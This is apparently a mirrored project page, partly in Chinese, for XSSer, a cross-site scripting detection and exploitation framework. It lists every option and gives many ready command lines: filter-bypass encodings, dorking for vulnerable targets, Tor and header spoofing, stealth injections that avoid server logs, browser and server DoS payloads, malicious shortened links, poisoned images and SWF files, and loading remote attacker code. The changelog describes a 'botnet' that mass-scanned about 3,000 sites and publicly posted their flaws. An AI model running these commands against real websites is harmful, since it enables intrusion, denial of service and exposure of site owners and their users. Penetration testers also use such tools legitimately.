原文 http://xsser.sourceforge.net/
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介绍
Xsser是一个自动化检测 Web应用程序漏洞以及利用的框架。
它的设置中包含了一些可尝试绕过过滤,以及各种特殊代码插入的选项
当前版本
XSSer v1.6b ("The Mosquito: Grey Swarm!").
+Click for Zoom
Download original source code: XSSer v1.6 -beta-
Ubuntu/Debian package: XSSer-1.6_all.deb
ArchLinux package: AUR link (v1.6b)
Or update your copy directly from the XSSer -Subversion- repository:
$ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser
This version include more features on the GTK+ interface:
TIP: type: 'xsser --gtk' to start from shell. Or run directly XSSer from menu
安装
XSSer可跨平台运行,需要满足下面的PYthon库
- python-pycurl - Python bindings to libcurl
- python-beautifulsoup - error-tolerant HTML parser for Python
- python-libxml2 - Python bindings for the GNOME XML library
- python-geoip - Python bindings for the GeoIP IP-to-country resolver library
基于Debian系统(或Ubuntu),执行
sudo apt-get install python-pycurl python-beautifulsoup python-libxml2 python-geoip
用法
xsser [OPTIONS] [-u |-i |-d ] [-g |-p |-c ] [Request(s)] [Vector(s)] [Bypasser(s)] [Technique(s)] [Final Injection(s)]
Options:
--version
show program's version number and exit
-h, --help
show this help message and exit
-s, --statistics
show advanced statistics output results
-v, --verbose
active verbose mode output results
--gtk
launch XSSer GTK Interface (Wizard included!)
*Special Features*:
You can choose Vector(s) and Bypasser(s) to inject code with this
extra special features:
--imx=IMX
create a false image with XSS code embedded
--fla=FLASH
create a false .swf file with XSS code embedded
*Select Target(s)*:
At least one of these options has to be specified to set the source to get target(s) urls from.
You need to choose to run XSSer:
-u URL, --url=URL
Enter target(s) to audit
-i READFILE
Read target URLs from a file
-d DORK
Process search engine dork results as target urls
--De=DORK_ENGINE
Search engine to use for dorking (bing, altavista,
yahoo, baidu, yandex, youdao, webcrawler, google, etc.
See dork.py file to check for available engines)
*Select type of HTTP/HTTPS Connection(s)*:
These options can be used to specify which parameter(s) we want to use
like payload to inject code.
-g GETDATA
Enter payload to audit using GET. (ex: '/menu.php?q=')
-p POSTDATA
Enter payload to audit using POST. (ex: 'foo=1&bar=')
-c CRAWLING
Number of urls to crawl on target(s): 1-99999
--Cw=CRAWLING_WIDTH
Deeping level of crawler: 1-5
--Cl
Crawl only local target(s) urls (default TRUE)
*Configure Request(s)*:
These options can be used to specify how to connect to target(s) payload(s).
You can choose multiple:
--cookie=COOKIE
Change your HTTP Cookie header
--drop-cookie
Ignore Set-Cookie header from response
--user-agent=AGENT
Change your HTTP User-Agent header (default SPOOFED)
--referer=REFERER
Use another HTTP Referer header (default NONE)
--xforw
Set your HTTP X-Forwarded-For with random IP values
--xclient
Set your HTTP X-Client-IP with random IP values
--headers=HEADERS
Extra HTTP headers newline separated
--auth-type=ATYPE
HTTP Authentication type (Basic, Digest, GSS or NTLM)
--auth-cred=ACRED
HTTP Authentication credentials (name:password)
--proxy=PROXY
Use proxy server (tor: http://localhost:8118)
--ignore-proxy
Ignore system default HTTP proxy
--timeout=TIMEOUT
Select your timeout (default 30)
--retries=RETRIES
Retries when the connection timeouts (default 1)
--threads=THREADS
Maximum number of concurrent HTTP requests (default 5)
--delay=DELAY
Delay in seconds between each HTTP request (default 0)
--tcp-nodelay
Use the TCP_NODELAY option
--follow-redirects
XSSer will follow server redirection responses (302)
--follow-limit=FLI
Set how many times XSSer will follow redirections (default 50)
*Checker Systems*:
This options are usefull to know if your target(s) have some filters against XSS attacks,
to reduce 'false positive' results and to perform more advanced tests:
--no-head
NOT verify the stability of the url (codes: 200|302) with a HEAD pre-check request
--alive=ISALIVE
set limit of every how much errors XSSer must to verify that target is alive
--hash
send an unique hash, without vectors, to pre-check if target(s) repeats all content recieved
--heuristic
launch a heuristic testing to discover which parameters are filtered on target(s) code: ;\/<>"'=
--checkaturl=ALT
check for a valid XSS response from target(s) at an alternative url. 'blind XSS'
--checkmethod=ALTM
check responses from target(s) using a different connection type: GET or POST (default: GET)
--checkatdata=ALD
check responses from target(s) using an alternative payload (default: same than first injection)
--reverse-check
establish a reverse connection from target(s) to XSSer to certificate that is 100% vulnerable
*Select Vector(s)*:
These options can be used to specify a XSS vector source code to inject in each payload.
Important, if you don't want to try to inject a common XSS vector, used by default.
Choose only one option:
--payload=SCRIPT
OWN - Insert your XSS construction -manually-
--auto
AUTO - Insert XSSer 'reported' vectors from file (HTML5 vectors included!)
*Select Bypasser(s)*:
These options can be used to encode selected vector(s) to try to bypass all possible anti-XSS filters
on target(s) code and some IPS rules, if the target use it. Also, can be combined with other techniques to provide encoding:
--Str
Use method String.FromCharCode()
--Une
Use function Unescape()
--Mix
Mix String.FromCharCode() and Unescape()
--Dec
Use Decimal encoding
--Hex
Use Hexadecimal encoding
--Hes
Use Hexadecimal encoding, with semicolons
--Dwo
Encode vectors IP addresses in DWORD
--Doo
Encode vectors IP addresses in Octal
--Cem
Try -manually- different Character Encoding mutations
(reverse obfuscation: good) -> (ex:'Mix,Une,Str,Hex')
*Special Technique(s)*:
These options can be used to try to inject code using different type
of XSS techniques. You can choose multiple:
--Coo
COO - Cross Site Scripting Cookie injection
--Xsa
XSA - Cross Site Agent Scripting
--Xsr
XSR - Cross Site Referer Scripting
--Dcp
DCP - Data Control Protocol injections
--Dom
DOM - Use Anchor Stealth (DOM shadows!)
--Ind
IND - HTTP Response Splitting Induced code
--Anchor
ANC - Use Anchor Stealth payloader (DOM shadows!)
--Phpids
PHP - Exploit PHPIDS bug (0.6.5) to bypass filters
*Select Final injection(s)*:
These options can be used to specify the final code to inject in
vulnerable target(s). Important, if you want to exploit
on-the-wild your discovered vulnerabilities. Choose only one option:
--Fp=FINALPAYLOAD
OWN - Insert your final code to inject -manually-
--Fr=FINALREMOTE
REMOTE - Insert your final code to inject -remotelly-
--Doss
DOSs - XSS Denial of service (server) injection
--Dos
DOS - XSS Denial of service (client) injection
--B64
B64 - Base64 code encoding in META tag (rfc2397)
*Special Final injection(s)*:
These options can be used to execute some 'special' injection(s) in vulnerable target(s).
You can select multiple and combine with your final code (except with DCP code):
--Onm
ONM - Use onMouseMove() event to inject code
--Ifr
IFR - Use "iframe" source tag to inject code
*Miscellaneous*:
--silent
inhibit console output results
--update
check for XSSer latest stable version
--save
output all results directly to template (XSSlist.dat)
--xml=FILEXML
output 'positives' to aXML file (--xml filename.xml)
--short=SHORTURLS
display -final code- shortered (tinyurl, is.gd)
--launch
launch a browser at the end with each XSS discovered
--tweet
publish each XSS discovered into the 'Grey Swarm!'
--tweet-tags=TT
add more tags to your XSS discovered publications (default: #xss) - (ex: #xsser #vulnerability)
Examples
If you have interesting examples of usage about XSSer, please send an email to the mailing list.
-------------------
* Simple injection from URL:
$ python xsser.py -u "http://host.com"
-------------------
* Simple injection from File, with tor proxy and spoofing HTTP Referer headers:
$ python xsser.py -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"
-------------------
* Multiple injections from URL, with automatic payloading, using tor
proxy, injecting on payloads character encoding in "Hexadecimal", with
verbose output and saving results to file (XSSlist.dat):
$ python xsser.py -u "http://host.com" --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w
-------------------
* Multiple injections from URL, with automatic payloading, using
caracter encoding mutations (first, change payload to hexadecimal;
second, change to StringFromCharCode the first encoding; third, reencode
to Hexadecimal the second encoding), with HTTP User-Agent spoofed,
changing timeout to "20" and using multithreads (5 threads):
$ python xsser.py -u "http://host.com" --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"
-------------------
* Advance injection from File, payloading your -own- payload and using Unescape() character encoding to bypass filters:
$ python xsser.py -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une
-------------------
* Injection from Dork selecting "duck" engine (XSSer Storm!):
$ python xsser.py --De "duck" -d "search.php?"
-------------------
* Injection from Crawler with deep 3 and 4 pages to see (XSSer Spider!):
$ python xsser.py -c3 --Cw=4 -u "http://host.com"
-------------------
* Simple injection from URL, using POST, with statistics results:
$ python xsser.py -u "http://host.com" -p "index.php?target=search&subtarget=top&searchstring=" -s
-------------------
* Multiple injections from URL to a parameter sending with GET, using
automatic payloading, with IP Octal payloading ofuscation and printering
results in a "tinyurl" shortered link (ready for share!):
$ python xsser.py -u "http://host.com" -g "bs/?q=" --auto --Doo --short tinyurl
-------------------
* Simple injection from URL, using GET, injecting a vector in Cookie
parameter, trying to use a DOM shadow space (no server logging!) and if
exists any "hole", applying your manual final payload "malicious" code
(ready for real attacks!):
$ python xsser.py -u "http://host.com" -g "bs/?q=" --Coo --Dom --Fr="!enter your final injection code here!"
-------------------
* Simple injection from URL, using GET and trying to generate with
results a "malicious" shortered link (is.gd) with a valid DoS
(Denegation Of Service) browser client payload:
$ python xsser.py -u "http://host.com" -g "bs/?q=" --Dos --short "is.gd"
-------------------
* Multiple injections to multiple places, extracting targets from a list
in a FILE, applying automatic payloading, changing timeout to "20" and
using multithreads (5 threads), increasing delay between petitions to 10
seconds, injecting parameters in HTTP USer-Agent, HTTP Referer and in
Cookie parameters, using proxy Tor, with IP Octal ofuscation, with
statistics results, in verbose mode and creating shortered links
(tinyurl) of any valid injecting payloads found. (real playing mode!):
$ python xsser.py -i "list_of_url_targets.txt" --auto --timeout "20"
--threads "5" --delay "10" --Xsa --Xsr --Coo --proxy
"http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"
-------------------
* Injection of user XSS vector directly in a malicious -fake- image created "on the wild", and ready to be uploaded.
$ python xsser.py --Imx "test.png" --payload "!enter your malicious injection code here!"
-------------------
* Report output 'positives' injections of a dorking search (using "ask" dorker) directly to a XML file.
$ python xsser.py -d "login.php" --De "ask" --xml "security_report_XSSer_Dork_cuil.xml"
-------------------
* Publish output 'positives' injections of a dorking search (using "duck" dorker) directly to http://identi.ca
(federated XSS pentesting botnet)
$ python xsser.py -d "login.php" --De "duck" --tweet
* Examples online:
- http://identi.ca/xsserbot01
- http://twitter.com/xsserbot01
-------------------
* Create a .swf movie with XSS code injected
$ python xsser.py --fla "name_of_file"
-------------------
* Send a pre-checking hash to see if target will generate -false positive- results
$ python xsser.py -u "host.com" --hash
-------------------
* Multiple fuzzing injections from url, including DCP injections and
exploiting our "own" code, spoofed in a shortered link, on positive
results founded. XSS real-time exploiting.
$ python xsser.py -u "host.com" --auto --Dcp --Fp "enter_your_code_here" --short "is.gd"
-------------------
* Exploiting Base64 code encoding in META tag (rfc2397) in a manual payload of a vulnerable target.
$ python xsser.py -u "host.com" -g "vulnerable_path" --payload "valid_vector_injected" --B64
-------------------
* Exploiting our "own" -remote code- in a payload discovered using fuzzing and launch it in a browser directly
$ python xsser.py -u "host.com" -g "vulnerable_path" --auto --Fr "my_host/path/code.js" --launch
Screenshots
If you have interesting screenshots about XSSer, please send an email to the mailing list.
-------------------
Core: Call to help main menu (--help) (v1.5)
Core: Example of automatic injections (v1.5)
Core: Example of remote code (--Fr) (v1.0)
Core: Example of DCP injection (--Dcp) (v1.0)
GTK: Documentation (v1.5)
GTK: Wizard Helper (v1.5)
GTK: Report crawling results from dork (v1.5)
GTK: Global Target(s) Geomap Reports (v1.5)
Videos
If you have interesting videos about XSSer, please send an email to the mailing list.
-------------------
Version of XSSer (v1.5):
- Video example of XSSer GTK interface.
Old versions of XSSer (v0.5
- Video1: Simple automatic payloading vectors. *reported to target (06/07/2010)*.
- Video2: Server side Apache logging. *spoofing demostration*.
- Video3: Dorking injections with stadistics results. *old explorer mode!*
Payloads
XSSer uses a list of XSS valid vectors to make automatic payloading attacks on target(s).
If you have interesting XSS "codes", please send an email to the mailing list.
-------------------
The reference table with supported browsers is:
IE7.0
Vector works in Internet Explorer 7.0. Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.
IE6.0
Vector works in Internet Explorer. Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.
NS8.1-IE
Vector works in Netscape 8.1+ in IE rendering engine
mode. Most recently tested with Netscape 8.1 on Windows XP
Professional. This used to be called trusted mode, but Netscape has
changed it's security model away from the trusted/untrusted model and
has opted towards Gecko as a default and IE as an option.
NS8.1-G
Vector works in Netscape 8.1+ in the Gecko rendering
engine mode. Most recently tested with Netscape 8.1 on Windows XP
Professional
FF2.0
Vector works in Mozilla's Gecko rendering engine, used by
Firefox. Most recently tested with Firefox 2.0.0.2 on Windows XP
Professional.
O9.02
Vector works in Opera. Most recently tested with Opera 9.02, Build 8586 on Windows XP Professional
NS4
Vector works in older versions of Netscape 4.0 - untested.
Injections are valid as proof that browsers. The attacker can run the desired code if any of the listings.
Download
XSSer (official version) can be downloaded from its
SourceForge File List page.
For now, download is available in the following format:
Source gzip compressed operating system independent.
You can also checkout the latest development version from the XSSer -Subversion- repository:
$ svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser
Packages
XSSer v1.6b: "Grey Swarm!" (more updated):
Archlinux: AUR link
Ubuntu/Debian package: XSSer-1.6_all.deb
Installation:
tar xzvf xsser-1.6_all.deb.tar.gz
sudo dpkg -i xsser-1.6_all.deb
Run (GTK mode):
xsser --gtk --silent
-------------------
XSSer v1.5: "Swarm Edition!":
Archlinux: AUR link
-------------------
XSSer v1.0: "The mosquito":
Archlinux: AUR link
Changelog
November, 28, 2011:
XSSer version 1.6 -beta- aka "Grey Swarm!" released!!
Core: Added Drop Cookie option + Added Random IP X-Forwarded-For option +
Random X-Client-IP option + Added GSS and NTLM authentication methods +
Added Ignore proxy option + Added TCP-NODELAY option + Added Follow
redirects option + Added Follow redirects limiter parameter + Added
Auto-HEAD precheck system + Added No-HEAD option + Added Isalive option +
Added Check at url option (Blind XSS) + Added Reverse Check parameter +
Added PHPIDS (v.0.6.5) exploit + Added More vectors to auto-payloading +
Added HTML5 studied vectors + Fixed Different bugs on core + Fixed Curl
handlerer options + Fixed Dorkerers system + Fixed Bugs on results
propagation + Fixed POST requests.
GTK: Added New features to GTK controller + Added Detailed views to GTK interface.
February, 25, 2011:
Added package for Archlinux. More info here
February, 24, 2011:
XSSer version 1.5 -beta- aka "Swarm edition!" released!!
Core: Added GTK option + Heuristic test + HTTP Response Splitting (ak.a
Induced attack!) + DoS (Server) injection + Final code (added DCP &
DOM injections) + Update option + Code clean + Bugfixing + New options
menu + More advanced statistics system + Updated dorkerers list.
GTK: Intuitive navigation + Wizard helper ("build your pentesting answering some questions") + Expert visor (with target(s) geolocation included + Documentation.
Created XSSer package (v1.5) for Ubuntu/Debian based systems.
You can download here:xsser_1.5-1_all.deb.tar.gz
November, 13, 2010:
XSSer package for Archlinux can be found in the AUR. More info here
November, 11, 2010:
Created XSSer package (v1.0) for Ubuntu/Debian based systems.
You can download here: xsser_1.0-2_all.deb.tar.gz
November, 9, 2010:
Added more advanced statistics results + Bugfixig.
November, 7, 2010:
XSSer version 1.0 aka "The Mosquito" released!!
Added "final remote injections" option + Cross Flash Attack! + Cross
Frame Scripting + Data Control Protocol Injections + Base64 (rfc2397)
PoC + OnMouseMove PoC + Browser launcher + Code clean + Bugfixing + New
options menu + Pre-check system + Crawler spidering clones + More
advanced statistics system + "Mana" output results.
October, 8, 2010:
POC: Detecting, exploiting and reporting "fcgi-bin/echo" Oracle vulnerability with XSSer
./XSSer -d "'inurl:fcgi-bin/echo'" --De "google" --proxy "http://127.0.0.1:8118" -s --tweet
Results of the -botnet- attack in real time:
- http://identi.ca/xsserbot01
- http://twitter.com/xsserbot01
Reported: apróx. 3.000 websites vulnerables (XSSer storm!!).
September 22, 2010:
Added a-xml exporter + ImageXSS + New dorker engines (total 10) + Core
clean + Bugfixing + Social Networking XSS auto-publisher + Started
-federated- XSS (full disclosure) pentesting botnet.
http://identi.ca/xsserbot01
http://twitter.com/xsserbot01
August 20, 2010:
Added attack payloads to auto-payloader
(26 new injections) + POST + Statistics + URL Shorteners + IP Octal +
Post-processing payloading + DOM Shadows! + Cookie injector + Browser
DoS (Denegation of Service).
July 1, 2010:
Dorking + Crawling + IP DWORD + Core clean.
April 19, 2010:
HTTPS implemented + patched bugs.
March 22, 2010:
Added "inject your own payload" option. Can be used with all character encoding -bypassers- of XSSer.
March 18, 2010:
Added attack payloads to auto-payloader (62 different XSS injections).
March 16, 2010:
Added new payload encoders to bypass filters.
Documentation
If you have interesting documentation about XSSer, please send an email to the mailing list.
-------------------
"XSS for fun and profit":
PDF with practice examples of some XSS techniques. It was presented on the conference SCG-2009:
XSSer URL Generation Schema:
Mailing list
XSSer has one mailing list hosted on SourceForge.
The xsser-users@lists.sourceforge.net mailing list is the
preferred way to ask questions, report bugs, suggest new features
and discuss with other users.
The mailing list is archived
online. To subscribe use the online
web form.
License
XSSer is released under the terms of the
General Public License v3 and is copyrighted by
psy.
Author
GPG Public ID Key: 0xB8AC3776
Community
If you are interesting in follow last news about XSSer, you can join #xsser-community on many different places:
Social networking:
Or using IRC:
irc.freenode.net / channel: #xsser
Contribute
If you want to contribute to XSSer development, reporting a bug,
providing a patch, commenting on the code base or simply need to find help
to run XSSer, first refer to the xsser documentation and
then surf the xsser mailing list online archives.
If nobody gets back to you, then drop me an e-mail.
Please, add one link to this site when you report some XSS vulnerabilities founded by XSSer.
Support
XSSer has been one of the winner projects of the NLnet Awards of April (2010).
XSSer has been added to BackTrack Linux (2010).
XSSer has been added to OWASP project (2012).
This -framework- is actively looking for new sponsors and funding.
If you or your organization has an interest in keeping XSSer, please contact directly or send your ideas to the mailing list.
To donate some bitcoins use this hash: 1Q63KtiLGzXiYA8XkWFPnWo7nKPWFr3nrc